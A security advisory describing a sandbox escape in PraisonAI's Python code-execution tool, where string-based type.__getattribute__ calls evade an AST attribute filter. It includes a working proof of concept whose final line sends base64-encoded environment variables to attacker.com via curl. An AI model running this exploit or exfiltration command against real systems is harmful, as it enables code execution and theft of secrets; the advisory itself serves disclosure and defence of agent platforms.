PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

• Access sensitive data such as environment variables, API keys, and local files
• Execute arbitrary system commands
• Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

References

• GHSA-3c4r-6p77-xwr7
• https://nvd.nist.gov/vuln/detail/CVE-2026-40158
• https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128